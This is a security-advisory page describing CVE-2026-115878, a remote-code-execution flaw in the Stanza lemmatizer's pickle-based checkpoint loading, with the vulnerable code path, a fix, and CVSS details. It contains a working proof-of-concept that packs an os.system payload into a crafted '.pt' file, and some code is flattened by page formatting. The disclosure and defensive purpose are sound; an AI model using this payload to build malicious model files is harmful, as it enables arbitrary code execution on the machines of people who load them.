KEVWire

Security intelligence, with context.

Response snapshot Nov 3, 2026, 22:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-115878

Stanza: RCE via pickle deserialization in the lemmatizer

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.

At a glance

Exploited
Not known
Severity
7.8 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
2 independent sources

What to do

GitHub lists first patched versions: stanza: 1.15.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-gh9r-c94j-cmp5 (opens a new tab)

What happened

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.

loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload reduce returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

Continue reading

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path=" ") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data): # line 54
 buf = io.BytesIO(data)
 with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
 raw = gz.read()
 return pickle.loads(raw) # )` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

## Minimal PoC

python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload: def reduce(self): return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict() gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS} pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt") torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact _unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip())


The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

## Fix

Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):

python from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load()


A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.

Affected package ranges reported by GitHub:
stanza: = 1.14.0

Scores and how they were measured

CVSS base severity

7.8

Version 3.1As of

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-gh9r-c94j-cmp5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-gh9r-c94j-cmp5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-115878 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  6. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Stanza: RCE via pickle deserialization in the lemmatizer (CVE-2026-115878). https://kevwire.com/record/CVE-2026-115878

MLA

"Stanza: RCE via pickle deserialization in the lemmatizer (CVE-2026-115878)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2026-115878.

Chicago

KEVWire. "Stanza: RCE via pickle deserialization in the lemmatizer (CVE-2026-115878)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2026-115878.

Evidence summary (plain text)

Stanza: RCE via pickle deserialization in the lemmatizer (Nov 3, 2026).
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.
CVSS 7.8 (version 3.1; evidence as of Nov 3, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115878).
Sources:
GitHub-reviewed advisory GHSA-gh9r-c94j-cmp5: https://github.com/advisories/GHSA-gh9r-c94j-cmp5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115878: https://nvd.nist.gov/vuln/detail/CVE-2026-115878
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-03T20:56:06.501Z&lastModEndDate=2026-11-03T22:25:56.572Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-03T20:26:05.377Z&lastModEndDate=2026-11-03T21:55:56.991Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-11-03T19:55:58.742Z&lastModEndDate=2026-11-03T21:25:56.006Z&resultsPerPage=500&startIndex=0
Record ID: CVE-2026-115878.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 22:25 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail